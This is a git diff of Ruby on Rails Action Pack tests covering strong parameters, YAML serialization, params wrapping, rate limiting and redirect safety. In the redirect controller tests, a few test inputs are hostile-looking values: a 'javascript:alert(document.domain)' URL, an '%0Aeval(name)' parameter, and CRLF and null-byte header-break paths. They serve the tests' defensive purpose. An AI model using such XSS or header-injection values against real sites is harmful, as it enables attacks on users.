+    first, last = @params.dig(:person, :name).values_at(:first, :last)
+    @params.deep_merge!(person: { name: { last: "A." } })
+
+    assert_equal first, @params.dig(:person, :name, :first)
+    assert_not_equal last, @params.dig(:person, :name, :last)
+    assert_equal "A.", @params.dig(:person, :name, :last)
+  end
+
+  test "deep_merge with other Parameters" do
+    first, last = @params.dig(:person, :name).values_at(:first, :last)
+    other_params = ActionController::Parameters.new(person: { name: { last: "A." } }).permit!
+    merged_params = @params.deep_merge(other_params)
+
+    assert_equal first, merged_params.dig(:person, :name, :first)
+    assert_not_equal last, merged_params.dig(:person, :name, :last)
+    assert_equal "A.", merged_params.dig(:person, :name, :last)
+  end
+
+  test "deep_merge! with other Parameters" do
+    first, last = @params.dig(:person, :name).values_at(:first, :last)
+    other_params = ActionController::Parameters.new(person: { name: { last: "A." } }).permit!
+    @params.deep_merge!(other_params)
+
+    assert_equal first, @params.dig(:person, :name, :first)
+    assert_not_equal last, @params.dig(:person, :name, :last)
+    assert_equal "A.", @params.dig(:person, :name, :last)
+  end
+
+  test "#reverse_merge with parameters" do
+    default_params = ActionController::Parameters.new(id: "1234", person: {}).permit!
+    merged_params = @params.reverse_merge(default_params)
+
+    assert_equal "1234", merged_params[:id]
+    assert_not_predicate merged_params[:person], :empty?
+  end
+
+  test "#with_defaults is an alias of reverse_merge" do
+    default_params = ActionController::Parameters.new(id: "1234", person: {}).permit!
+    merged_params = @params.with_defaults(default_params)
+
+    assert_equal "1234", merged_params[:id]
+    assert_not_predicate merged_params[:person], :empty?
+  end
+
+  test "not permitted is sticky beyond reverse_merge" do
+    assert_not_predicate @params.reverse_merge(a: "b"), :permitted?
+  end
+
+  test "permitted is sticky beyond reverse_merge" do
+    @params.permit!
+    assert_predicate @params.reverse_merge(a: "b"), :permitted?
+  end
+
+  test "#reverse_merge! with parameters" do
+    default_params = ActionController::Parameters.new(id: "1234", person: {}).permit!
+    @params.reverse_merge!(default_params)
+
+    assert_equal "1234", @params[:id]
+    assert_not_predicate @params[:person], :empty?
+  end
+
+  test "#with_defaults! is an alias of reverse_merge!" do
+    default_params = ActionController::Parameters.new(id: "1234", person: {}).permit!
+    @params.with_defaults!(default_params)
+
+    assert_equal "1234", @params[:id]
+    assert_not_predicate @params[:person], :empty?
+  end
+
   test "modifying the parameters" do
     @params[:person][:hometown] = "Chicago"
     @params[:person][:family] = { brother: "Jonas" }
@@ -310,83 +424,111 @@ def walk_permitted(params)
     assert_equal "Jonas", @params[:person][:family][:brother]
   end
 
-  test "permit is recursive" do
+  test "permit! is recursive" do
+    @params[:nested_array] = [[{ x: 2, y: 3 }, { x: 21, y: 42 }]]
     @params.permit!
-    assert @params.permitted?
-    assert @params[:person].permitted?
-    assert @params[:person][:name].permitted?
-    assert @params[:person][:addresses][0].permitted?
+    assert_predicate @params, :permitted?
+    assert_predicate @params[:person], :permitted?
+    assert_predicate @params[:person][:name], :permitted?
+    assert_predicate @params[:person][:addresses][0], :permitted?
+    assert_predicate @params[:nested_array][0][0], :permitted?
+    assert_predicate @params[:nested_array][0][1], :permitted?
   end
 
   test "permitted takes a default value when Parameters.permit_all_parameters is set" do
-    begin
-      ActionController::Parameters.permit_all_parameters = true
-      params = ActionController::Parameters.new(person: {
-        age: "32", name: { first: "David", last: "Heinemeier Hansson" }
-      })
-
-      assert params.slice(:person).permitted?
-      assert params[:person][:name].permitted?
-    ensure
-      ActionController::Parameters.permit_all_parameters = false
-    end
+    ActionController::Parameters.permit_all_parameters = true
+    params = ActionController::Parameters.new(person: {
+      age: "32", name: { first: "David", last: "Heinemeier Hansson" }
+    })
+
+    assert_predicate params.slice(:person), :permitted?
+    assert_predicate params[:person][:name], :permitted?
+  ensure
+    ActionController::Parameters.permit_all_parameters = false
   end
 
   test "permitting parameters as an array" do
     assert_equal "32", @params[:person].permit([ :age ])[:age]
   end
 
-  test "to_h returns empty hash on unpermitted params" do
-    assert @params.to_h.is_a? ActiveSupport::HashWithIndifferentAccess
-    assert_not @params.to_h.is_a? ActionController::Parameters
-    assert @params.to_h.empty?
+  test "to_h raises UnfilteredParameters on unfiltered params" do
+    assert_raises(ActionController::UnfilteredParameters) do
+      @params.to_h
+    end
   end
 
   test "to_h returns converted hash on permitted params" do
     @params.permit!
 
-    assert @params.to_h.is_a? ActiveSupport::HashWithIndifferentAccess
-    assert_not @params.to_h.is_a? ActionController::Parameters
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @params.to_h
+    assert_not_kind_of ActionController::Parameters, @params.to_h
   end
 
   test "to_h returns converted hash when .permit_all_parameters is set" do
-    begin
-      ActionController::Parameters.permit_all_parameters = true
-      params = ActionController::Parameters.new(crab: "Senjougahara Hitagi")
-
-      assert params.to_h.is_a? ActiveSupport::HashWithIndifferentAccess
-      assert_not @params.to_h.is_a? ActionController::Parameters
-      assert_equal({ "crab" => "Senjougahara Hitagi" }, params.to_h)
-    ensure
-      ActionController::Parameters.permit_all_parameters = false
+    ActionController::Parameters.permit_all_parameters = true
+    params = ActionController::Parameters.new(crab: "Senjougahara Hitagi")
+
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, params.to_h
+    assert_not_kind_of ActionController::Parameters, params.to_h
+    assert_equal({ "crab" => "Senjougahara Hitagi" }, params.to_h)
+  ensure
+    ActionController::Parameters.permit_all_parameters = false
+  end
+
+  test "to_hash raises UnfilteredParameters on unfiltered params" do
+    assert_raises(ActionController::UnfilteredParameters) do
+      @params.to_hash
     end
   end
 
-  test "to_h returns always permitted parameter on unpermitted params" do
-    params = ActionController::Parameters.new(
-      controller: "users",
-      action: "create",
-      user: {
-        name: "Sengoku Nadeko"
-      }
-    )
+  test "to_hash returns converted hash on permitted params" do
+    @params.permit!
+
+    assert_instance_of Hash, @params.to_hash
+    assert_not_kind_of ActionController::Parameters, @params.to_hash
+  end
+
+  test "parameters can be implicit converted to Hash" do
+    params = ActionController::Parameters.new
+    params.permit!
+
+    assert_equal({ a: 1 }, { a: 1 }.merge!(params))
+  end
 
-    assert_equal({ "controller" => "users", "action" => "create" }, params.to_h)
+  test "to_hash returns converted hash when .permit_all_parameters is set" do
+    ActionController::Parameters.permit_all_parameters = true
+    params = ActionController::Parameters.new(crab: "Senjougahara Hitagi")
+
+    assert_instance_of Hash, params.to_hash
+    assert_not_kind_of ActionController::Parameters, params.to_hash
+    assert_equal({ "crab" => "Senjougahara Hitagi" }, params.to_hash)
+  ensure
+    ActionController::Parameters.permit_all_parameters = false
   end
 
   test "to_unsafe_h returns unfiltered params" do
-    assert @params.to_unsafe_h.is_a? ActiveSupport::HashWithIndifferentAccess
-    assert_not @params.to_unsafe_h.is_a? ActionController::Parameters
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @params.to_unsafe_h
+    assert_not_kind_of ActionController::Parameters, @params.to_unsafe_h
   end
 
   test "to_unsafe_h returns unfiltered params even after accessing few keys" do
     params = ActionController::Parameters.new("f" => { "language_facet" => ["Tibetan"] })
     expected = { "f" => { "language_facet" => ["Tibetan"] } }
 
-    assert params["f"].is_a? ActionController::Parameters
+    assert_instance_of ActionController::Parameters, params["f"]
     assert_equal expected, params.to_unsafe_h
   end
 
+  test "to_unsafe_h does not mutate the parameters" do
+    params = ActionController::Parameters.new("f" => { "language_facet" => ["Tibetan"] })
+    params[:f]
+
+    params.to_unsafe_h
+
+    assert_not_predicate params, :permitted?
+    assert_not_predicate params[:f], :permitted?
+  end
+
   test "to_h only deep dups Ruby collections" do
     company = Class.new do
       attr_reader :dupped
@@ -425,9 +567,9 @@ def dup; @dupped = true; end
     params = ActionController::Parameters.new(foo: "bar")
 
     assert params.permit(:foo).has_key?(:foo)
-    refute params.permit(foo: []).has_key?(:foo)
-    refute params.permit(foo: [:bar]).has_key?(:foo)
-    refute params.permit(foo: :bar).has_key?(:foo)
+    assert_not params.permit(foo: []).has_key?(:foo)
+    assert_not params.permit(foo: [:bar]).has_key?(:foo)
+    assert_not params.permit(foo: :bar).has_key?(:foo)
   end
 
   test "#permitted? is false by default" do
@@ -435,4 +577,10 @@ def dup; @dupped = true; end
 
     assert_equal false, params.permitted?
   end
+
+  test "only String and Symbol keys are allowed" do
+    assert_raises(ActionController::InvalidParameterKey) do
+      ActionController::Parameters.new({ foo: 1 } => :bar)
+    end
+  end
 end
diff --git a/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb
index 8fab7b28e904b..3f9f280f7399c 100644
--- a/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb
+++ b/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller/metal/strong_parameters"
 
@@ -22,10 +24,34 @@ def teardown
 
   test "raises on unexpected nested params" do
     params = ActionController::Parameters.new(
-      book: { pages: 65, title: "Green Cats and where to find then." })
+      book: { pages: 65, title: "Green Cats and where to find them." })
 
     assert_raises(ActionController::UnpermittedParameters) do
       params.permit(book: [:pages])
     end
   end
+
+  test "expect never raises on unexpected params" do
+    params = ActionController::Parameters.new(
+      id: 1,
+      book: { pages: 65, title: "Green Cats and where to find them." })
+
+    assert_nothing_raised do
+      params.expect(book: [:pages])
+      params.expect(book: [:pages, :title])
+      params.expect(:id)
+    end
+  end
+
+  test "expect! never raises on unexpected params" do
+    params = ActionController::Parameters.new(
+      id: 1,
+      book: { pages: 65, title: "Green Cats and where to find them." })
+
+    assert_nothing_raised do
+      params.expect!(book: [:pages])
+      params.expect!(book: [:pages, :title])
+      params.expect!(:id)
+    end
+  end
 end
diff --git a/actionpack/test/controller/parameters/serialization_test.rb b/actionpack/test/controller/parameters/serialization_test.rb
index 6fba2fde91886..abc83bfe48c23 100644
--- a/actionpack/test/controller/parameters/serialization_test.rb
+++ b/actionpack/test/controller/parameters/serialization_test.rb
@@ -1,6 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller/metal/strong_parameters"
-require "active_support/core_ext/string/strip"
 
 class ParametersSerializationTest < ActiveSupport::TestCase
   setup do
@@ -12,7 +13,7 @@ class ParametersSerializationTest < ActiveSupport::TestCase
     ActionController::Parameters.permit_all_parameters = @old_permitted_parameters
   end
 
-  test "yaml serialization" do
+  test "YAML serialization" do
     params = ActionController::Parameters.new(key: :value)
     yaml_dump = YAML.dump(params)
     assert_match("--- !ruby/object:ActionController::Parameters", yaml_dump)
@@ -20,34 +21,37 @@ class ParametersSerializationTest < ActiveSupport::TestCase
     assert_match("permitted: false", yaml_dump)
   end
 
-  test "yaml deserialization" do
+  test "YAML deserialization" do
     params = ActionController::Parameters.new(key: :value)
-    roundtripped = YAML.load(YAML.dump(params))
+    payload = YAML.dump(params)
+    roundtripped = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
 
     assert_equal params, roundtripped
-    assert_not roundtripped.permitted?
+    assert_not_predicate roundtripped, :permitted?
   end
 
-  test "yaml backwardscompatible with psych 2.0.8 format" do
-    params = YAML.load <<-end_of_yaml.strip_heredoc
+  test "YAML backwardscompatible with psych 2.0.8 format" do
+    payload = <<~end_of_yaml
       --- !ruby/hash:ActionController::Parameters
       key: :value
     end_of_yaml
+    params = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
 
     assert_equal :value, params[:key]
-    assert_not params.permitted?
+    assert_not_predicate params, :permitted?
   end
 
-  test "yaml backwardscompatible with psych 2.0.9+ format" do
-    params = YAML.load(<<-end_of_yaml.strip_heredoc)
+  test "YAML backwardscompatible with psych 2.0.9+ format" do
+    payload = <<~end_of_yaml
       --- !ruby/hash-with-ivars:ActionController::Parameters
       elements:
         key: :value
       ivars:
         :@permitted: false
     end_of_yaml
+    params = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
 
     assert_equal :value, params[:key]
-    assert_not params.permitted?
+    assert_not_predicate params, :permitted?
   end
 end
diff --git a/actionpack/test/controller/parameters_integration_test.rb b/actionpack/test/controller/parameters_integration_test.rb
new file mode 100644
index 0000000000000..2b6d85aebda6e
--- /dev/null
+++ b/actionpack/test/controller/parameters_integration_test.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class IntegrationController < ActionController::Base
+  def yaml_params
+    render plain: params.to_yaml
+  end
+
+  def permit_params
+    params.permit(
+      key1: {}
+    )
+
+    render plain: "Home"
+  end
+end
+
+class ActionControllerParametersIntegrationTest < ActionController::TestCase
+  tests IntegrationController
+
+  test "parameters can be serialized as YAML" do
+    post :yaml_params, params: { person: { name: "Mjallo!" } }
+    expected = <<~YAML
+--- !ruby/object:ActionController::Parameters
+parameters: !ruby/hash:ActiveSupport::HashWithIndifferentAccess
+  person: !ruby/hash:ActiveSupport::HashWithIndifferentAccess
+    name: Mjallo!
+  controller: integration
+  action: yaml_params
+permitted: false
+    YAML
+    assert_equal expected, response.body
+  end
+
+  # Ensure no deprecation warning from comparing AC::Parameters against Hash
+  # See https://github.com/rails/rails/issues/44940
+  test "identical arrays can be permitted" do
+    params = {
+      key1: {
+        a: [{ same_key: { c: 1 } }],
+        b: [{ same_key: { c: 1 } }]
+      }
+    }
+
+    assert_not_deprecated(ActionController.deprecator) do
+      post :permit_params, params: params
+    end
+    assert_response :ok
+  end
+end
diff --git a/actionpack/test/controller/params_parse_test.rb b/actionpack/test/controller/params_parse_test.rb
new file mode 100644
index 0000000000000..091b567473ecb
--- /dev/null
+++ b/actionpack/test/controller/params_parse_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ParamsParseTest < ActionController::TestCase
+  class UsersController < ActionController::Base
+    def create
+      head :ok
+    end
+  end
+
+  tests UsersController
+
+  def test_parse_error_logged_once
+    log_output = capture_log_output do
+      post :create, body: "{", as: :json
+    end
+    assert_equal <<~LOG, log_output
+      Error occurred while parsing request parameters.
+      Contents:
+
+      {
+    LOG
+  end
+
+  private
+    def capture_log_output
+      output = StringIO.new
+      request.set_header "action_dispatch.logger", ActiveSupport::Logger.new(output)
+      yield
+      output.string
+    end
+end
diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb
index faa57c4559722..da3e89defaee6 100644
--- a/actionpack/test/controller/params_wrapper_test.rb
+++ b/actionpack/test/controller/params_wrapper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module Admin; class User; end; end
@@ -32,6 +34,10 @@ class User
     def self.attribute_names
       []
     end
+
+    def self.stored_attributes
+      { settings: [:color, :size] }
+    end
   end
 
   class Person
@@ -62,6 +68,17 @@ def test_derived_name_from_controller
     end
   end
 
+  def test_store_accessors_wrapped
+    assert_called(User, :attribute_names, times: 2, returns: ["username"]) do
+      with_default_wrapper_options do
+        @request.env["CONTENT_TYPE"] = "application/json"
+        post :parse, params: { "username" => "sikachu", "color" => "blue", "size" => "large" }
+        assert_parameters("username" => "sikachu", "color" => "blue", "size" => "large",
+                           "user" => { "username" => "sikachu", "color" => "blue", "size" => "large" })
+      end
+    end
+  end
+
   def test_specify_wrapper_name
     with_default_wrapper_options do
       UsersController.wrap_parameters :person
@@ -155,6 +172,14 @@ def test_no_double_wrap_if_key_exists
     end
   end
 
+  def test_no_double_wrap_if_key_exists_and_value_is_nil
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "user" => nil }
+      assert_parameters("user" => nil)
+    end
+  end
+
   def test_nested_params
     with_default_wrapper_options do
       @request.env["CONTENT_TYPE"] = "application/json"
@@ -203,6 +228,14 @@ def test_preserves_query_string_params
     end
   end
 
+  def test_preserves_query_string_params_in_filtered_params
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      get :parse, params: { "user" => { "username" => "nixon" } }
+      assert_equal({ "controller" => "params_wrapper_test/users", "action" => "parse", "user" => { "username" => "nixon" } }, @request.filtered_parameters)
+    end
+  end
+
   def test_empty_parameter_set
     with_default_wrapper_options do
       @request.env["CONTENT_TYPE"] = "application/json"
@@ -222,6 +255,23 @@ def test_handles_empty_content_type
       assert_equal "", @response.body
     end
   end
+
+  def test_derived_wrapped_keys_from_nested_attributes
+    assert_not_respond_to User, :nested_attributes_options
+    User.define_singleton_method(:nested_attributes_options) do
+      { person: {} }
+    end
+
+    assert_called(User, :attribute_names, times: 2, returns: ["username"]) do
+      with_default_wrapper_options do
+        @request.env["CONTENT_TYPE"] = "application/json"
+        post :parse, params: { "username" => "sikachu", "person_attributes" => { "title" => "Developer" } }
+        assert_parameters("username" => "sikachu", "person_attributes" => { "title" => "Developer" }, "user" => { "username" => "sikachu", "person_attributes" => { "title" => "Developer" } })
+      end
+    end
+  ensure
+    User.singleton_class.undef_method(:nested_attributes_options)
+  end
 end
 
 class NamespacedParamsWrapperTest < ActionController::TestCase
@@ -229,7 +279,7 @@ class NamespacedParamsWrapperTest < ActionController::TestCase
 
   module Admin
     module Users
-      class UsersController < ActionController::Base;
+      class UsersController < ActionController::Base
         class << self
           attr_accessor :last_parameters
         end
@@ -246,6 +296,10 @@ class SampleOne
     def self.attribute_names
       ["username"]
     end
+
+    def self.attribute_aliases
+      { "nick" => "username" }
+    end
   end
 
   class SampleTwo
@@ -281,6 +335,19 @@ def test_namespace_lookup_from_model
     end
   end
 
+  def test_namespace_lookup_from_model_alias
+    Admin.const_set(:User, Class.new(SampleOne))
+    begin
+      with_default_wrapper_options do
+        @request.env["CONTENT_TYPE"] = "application/json"
+        post :parse, params: { "nick" => "sikachu", "title" => "Developer" }
+        assert_parameters({ "nick" => "sikachu", "title" => "Developer", "user" => { "nick" => "sikachu" } })
+      end
+    ensure
+      Admin.send :remove_const, :User
+    end
+  end
+
   def test_hierarchy_namespace_lookup_from_model
     Object.const_set(:User, Class.new(SampleTwo))
     begin
@@ -364,7 +431,6 @@ def test_uses_model_attribute_names_with_irregular_inflection
   end
 
   private
-
     def with_dup
       original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]
       ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original.dup)
diff --git a/actionpack/test/controller/permitted_params_test.rb b/actionpack/test/controller/permitted_params_test.rb
index 6205a09816430..caac88ffb2150 100644
--- a/actionpack/test/controller/permitted_params_test.rb
+++ b/actionpack/test/controller/permitted_params_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class PeopleController < ActionController::Base
diff --git a/actionpack/test/controller/rate_limiting_test.rb b/actionpack/test/controller/rate_limiting_test.rb
new file mode 100644
index 0000000000000..a6bb3bbfdf0a0
--- /dev/null
+++ b/actionpack/test/controller/rate_limiting_test.rb
@@ -0,0 +1,273 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class RateLimitedController < ActionController::Base
+  self.cache_store = ActiveSupport::Cache::MemoryStore.new
+  rate_limit to: 2, within: 2.seconds, only: :limited
+  rate_limit to: 5, within: 1.minute, name: "long-term", only: :limited
+
+  def limited
+    head :ok
+  end
+
+  rate_limit to: 2, within: 2.seconds, by: -> { params[:rate_limit_key] }, with: -> { head :forbidden }, only: :limited_with
+  def limited_with
+    head :ok
+  end
+
+  rate_limit to: 2, within: 2.seconds, by: :by_method, with: :head_forbidden, only: :limited_with_methods
+  def limited_with_methods
+    head :ok
+  end
+
+  rate_limit to: :dynamic_to, within: :dynamic_within, only: :limited_with_dynamic_to_within
+  def limited_with_dynamic_to_within
+    head :ok
+  end
+
+  rate_limit to: -> { params[:max_requests]&.to_i || 2 }, within: -> { params[:time_window]&.to_i&.seconds || 2.seconds }, only: :limited_with_callable_to_within
+  def limited_with_callable_to_within
+    head :ok
+  end
+
+  private
+    def by_method
+      params[:rate_limit_key]
+    end
+
+    def head_forbidden
+      head :forbidden
+    end
+
+    def dynamic_to
+      params[:max_requests]&.to_i || 2
+    end
+
+    def dynamic_within
+      params[:time_window]&.to_i&.seconds || 2.seconds
+    end
+end
+
+class RateLimitedBaseController < ActionController::Base
+  self.cache_store = ActiveSupport::Cache::MemoryStore.new
+end
+
+class RateLimitedSharedOneController < RateLimitedBaseController
+  rate_limit to: 2, within: 2.seconds, scope: "shared"
+
+  def limited_shared_one
+    head :ok
+  end
+end
+
+class RateLimitedSharedTwoController < RateLimitedBaseController
+  rate_limit to: 2, within: 2.seconds, scope: "shared"
+
+  def limited_shared_two
+    head :ok
+  end
+end
+
+class RateLimitedSharedController < ActionController::Base
+  self.cache_store = ActiveSupport::Cache::MemoryStore.new
+  rate_limit to: 2, within: 2.seconds
+end
+
+class RateLimitedSharedThreeController < RateLimitedSharedController
+  def limited_shared_three
+    head :ok
+  end
+end
+
+class RateLimitedSharedFourController < RateLimitedSharedController
+  def limited_shared_four
+    head :ok
+  end
+end
+
+class RateLimitingTest < ActionController::TestCase
+  tests RateLimitedController
+
+  setup do
+    RateLimitedController.cache_store.clear
+  end
+
+  test "exceeding basic limit" do
+    get :limited
+    get :limited
+    assert_response :ok
+
+    assert_raises ActionController::TooManyRequests do
+      get :limited
+    end
+  end
+
+  test "notification on limit action" do
+    get :limited
+    get :limited
+
+    assert_notification("rate_limit.action_controller",
+        count: 3,
+        to: 2,
+        within: 2.seconds,
+        name: nil,
+        by: request.remote_ip) do
+      assert_raises ActionController::TooManyRequests do
+        get :limited
+      end
+    end
+  end
+
+  test "multiple rate limits" do
+    freeze_time
+    get :limited
+    get :limited
+    assert_response :ok
+
+    travel 3.seconds
+    get :limited
+    get :limited
+    assert_response :ok
+
+    travel 3.seconds
+    get :limited
+    assert_raises ActionController::TooManyRequests do
+      get :limited
+    end
+  end
+
+  test "limit resets after time" do
+    get :limited
+    get :limited
+    assert_response :ok
+
+    travel_to Time.now + 3.seconds do
+      get :limited
+      assert_response :ok
+    end
+  end
+
+  test "limit by callable" do
+    get :limited_with
+    get :limited_with
+    get :limited_with
+    assert_response :forbidden
+
+    get :limited_with, params: { rate_limit_key: "other" }
+    assert_response :ok
+  end
+
+  test "limited with callable" do
+    get :limited_with
+    get :limited_with
+    get :limited_with
+    assert_response :forbidden
+  end
+
+  test "limit by method" do
+    get :limited_with_methods
+    get :limited_with_methods
+    get :limited_with_methods
+    assert_response :forbidden
+
+    get :limited_with_methods, params: { rate_limit_key: "other" }
+    assert_response :ok
+  end
+
+  test "limited with method" do
+    get :limited_with_methods
+    get :limited_with_methods
+    get :limited_with_methods
+    assert_response :forbidden
+  end
+
+  test "dynamic to and within with methods" do
+    get :limited_with_dynamic_to_within
+    get :limited_with_dynamic_to_within
+    assert_response :ok
+
+    assert_raises ActionController::TooManyRequests do
+      get :limited_with_dynamic_to_within
+    end
+  end
+
+  test "dynamic to and within with methods using custom values" do
+    get :limited_with_dynamic_to_within, params: { max_requests: 5, time_window: 10 }
+    get :limited_with_dynamic_to_within, params: { max_requests: 5, time_window: 10 }
+    get :limited_with_dynamic_to_within, params: { max_requests: 5, time_window: 10 }
+    get :limited_with_dynamic_to_within, params: { max_requests: 5, time_window: 10 }
+    get :limited_with_dynamic_to_within, params: { max_requests: 5, time_window: 10 }
+    assert_response :ok
+
+    assert_raises ActionController::TooManyRequests do
+      get :limited_with_dynamic_to_within, params: { max_requests: 5, time_window: 10 }
+    end
+  end
+
+  test "dynamic to and within with callables" do
+    get :limited_with_callable_to_within
+    get :limited_with_callable_to_within
+    assert_response :ok
+
+    assert_raises ActionController::TooManyRequests do
+      get :limited_with_callable_to_within
+    end
+  end
+
+  test "dynamic to and within with callables using custom values" do
+    get :limited_with_callable_to_within, params: { max_requests: 3, time_window: 5 }
+    get :limited_with_callable_to_within, params: { max_requests: 3, time_window: 5 }
+    get :limited_with_callable_to_within, params: { max_requests: 3, time_window: 5 }
+    assert_response :ok
+
+    assert_raises ActionController::TooManyRequests do
+      get :limited_with_callable_to_within, params: { max_requests: 3, time_window: 5 }
+    end
+  end
+
+  test "cross-controller rate limit" do
+    @controller = RateLimitedSharedOneController.new
+    get :limited_shared_one
+    assert_response :ok
+
+    get :limited_shared_one
+    assert_response :ok
+
+    @controller = RateLimitedSharedTwoController.new
+
+    assert_raises ActionController::TooManyRequests do
+      get :limited_shared_two
+    end
+
+    @controller = RateLimitedSharedOneController.new
+
+    assert_raises ActionController::TooManyRequests do
+      get :limited_shared_one
+    end
+  ensure
+    RateLimitedBaseController.cache_store.clear
+  end
+
+  test "inherited rate limit isn't shared between controllers" do
+    @controller = RateLimitedSharedThreeController.new
+    get :limited_shared_three
+    assert_response :ok
+
+    get :limited_shared_three
+    assert_response :ok
+
+    @controller = RateLimitedSharedFourController.new
+
+    get :limited_shared_four
+    assert_response :ok
+
+    @controller = RateLimitedSharedThreeController.new
+
+    assert_raises ActionController::TooManyRequests do
+      get :limited_shared_three
+    end
+  ensure
+    RateLimitedSharedController.cache_store.clear
+  end
+end
diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb
index e4e968dfdbe82..a198528a6d4c4 100644
--- a/actionpack/test/controller/redirect_test.rb
+++ b/actionpack/test/controller/redirect_test.rb
@@ -1,8 +1,17 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "active_support/log_subscriber/test_helper"
 
 class Workshop
   extend ActiveModel::Naming
   include ActiveModel::Conversion
+
+  OUT_OF_SCOPE_BLOCK = proc do
+    raise "Not executed in controller's context" unless RedirectController === self
+    request.original_url
+  end
+
   attr_accessor :id
 
   def initialize(id)
@@ -21,8 +30,8 @@ def to_s
 class RedirectController < ActionController::Base
   # empty method not used anywhere to ensure methods like
   # `status` and `location` aren't called on `redirect_to` calls
-  def status; render plain: "called status"; end
-  def location; render plain: "called location"; end
+  def status; raise "Should not be called!"; end
+  def location; raise "Should not be called!"; end
 
   def simple_redirect
     redirect_to action: "hello_world"
@@ -33,7 +42,7 @@ def redirect_with_status
   end
 
   def redirect_with_status_hash
-    redirect_to({ action: "hello_world" }, status: 301)
+    redirect_to({ action: "hello_world" }, { status: 301 })
   end
 
   def redirect_with_protocol
@@ -57,6 +66,58 @@ def relative_url_redirect_with_status_hash
   end
 
   def redirect_back_with_status
+    redirect_back_or_to "/things/stuff", status: 307
+  end
+
+  def redirect_back_with_status_and_fallback_location_to_another_host
+    redirect_back_or_to "http://www.rubyonrails.org/", status: 307
+  end
+
+  def safe_redirect_back_with_status
+    redirect_back_or_to "/things/stuff", status: 307, allow_other_host: false
+  end
+
+  def safe_redirect_back_with_status_and_fallback_location_to_another_host
+    redirect_back_or_to "http://www.rubyonrails.org/", status: 307, allow_other_host: false
+  end
+
+  def safe_redirect_to_root
+    redirect_to url_from("/")
+  end
+
+  def unsafe_redirect
+    redirect_to "http://www.rubyonrails.org/"
+  end
+
+  def unsafe_redirect_back
+    redirect_back_or_to "http://www.rubyonrails.org/"
+  end
+
+  def unsafe_redirect_malformed
+    redirect_to "http:///www.rubyonrails.org/"
+  end
+
+  def unsafe_redirect_protocol_relative_double_slash
+    redirect_to "//www.rubyonrails.org/"
+  end
+
+  def unsafe_redirect_protocol_relative_triple_slash
+    redirect_to "///www.rubyonrails.org/"
+  end
+
+  def unsafe_redirect_with_illegal_http_header_value_character
+    redirect_to "javascript:alert(document.domain)\b", allow_other_host: true
+  end
+
+  def only_path_redirect
+    redirect_to action: "other_host", only_path: true
+  end
+
+  def safe_redirect_with_fallback
+    redirect_to url_from(params[:redirect_url]) || "/fallback"
+  end
+
+  def redirect_back_with_explicit_fallback_kwarg
     redirect_back(fallback_location: "/things/stuff", status: 307)
   end
 
@@ -72,6 +133,16 @@ def redirect_to_url
     redirect_to "http://www.rubyonrails.org/"
   end
 
+  def redirect_to_url_with_stringlike
+    stringlike = Object.new
+
+    def stringlike.to_str
+      "http://www.rubyonrails.org/"
+    end
+
+    redirect_to stringlike
+  end
+
   def redirect_to_url_with_unescaped_query_string
     redirect_to "http://example.com/query?status=new"
   end
@@ -84,6 +155,18 @@ def redirect_to_url_with_network_path_reference
     redirect_to "//www.rubyonrails.org/"
   end
 
+  def redirect_to_path_relative_url
+    redirect_to "example.com"
+  end
+
+  def redirect_to_path_relative_url_starting_with_an_at
+    redirect_to "@example.com"
+  end
+
+  def redirect_to_query_string_url
+    redirect_to "?foo=bar"
+  end
+
   def redirect_to_existing_record
     redirect_to Workshop.new(5)
   end
@@ -96,6 +179,14 @@ def redirect_to_nil
     redirect_to nil
   end
 
+  def redirect_to_polymorphic
+    redirect_to [:internal, Workshop.new(5)]
+  end
+
+  def redirect_to_polymorphic_string_args
+    redirect_to ["internal", Workshop.new(5)]
+  end
+
   def redirect_to_params
     redirect_to ActionController::Parameters.new(status: 200, protocol: "javascript", f: "%0Aeval(name)")
   end
@@ -113,6 +204,10 @@ def redirect_to_with_block_and_options
     redirect_to proc { { action: "hello_world" } }
   end
 
+  def redirect_to_out_of_scope_block
+    redirect_to Workshop::OUT_OF_SCOPE_BLOCK
+  end
+
   def redirect_with_header_break
     redirect_to "/lol\r\nwat"
   end
@@ -121,10 +216,16 @@ def redirect_with_null_bytes
     redirect_to "\000/lol\r\nwat"
   end
 
+  def redirect_to_external_with_rescue
+    redirect_to "http://www.rubyonrails.org/", allow_other_host: false
+  rescue ActionController::Redirecting::UnsafeRedirectError
+    render plain: "caught error"
+  end
+
   def rescue_errors(e) raise e end
 
   private
-    def dashbord_url(id, message)
+    def dashboard_url(id, message)
       url_for action: "dashboard", params: { "id" => id, "message" => message }
     end
 end
@@ -198,6 +299,13 @@ def test_relative_url_redirect_with_status_hash
     assert_equal "http://test.host/things/stuff", redirect_to_url
   end
 
+  def test_relative_url_redirect_host_with_port
+    request.host = "test.host:1234"
+    get :relative_url_redirect_with_status
+    assert_response 302
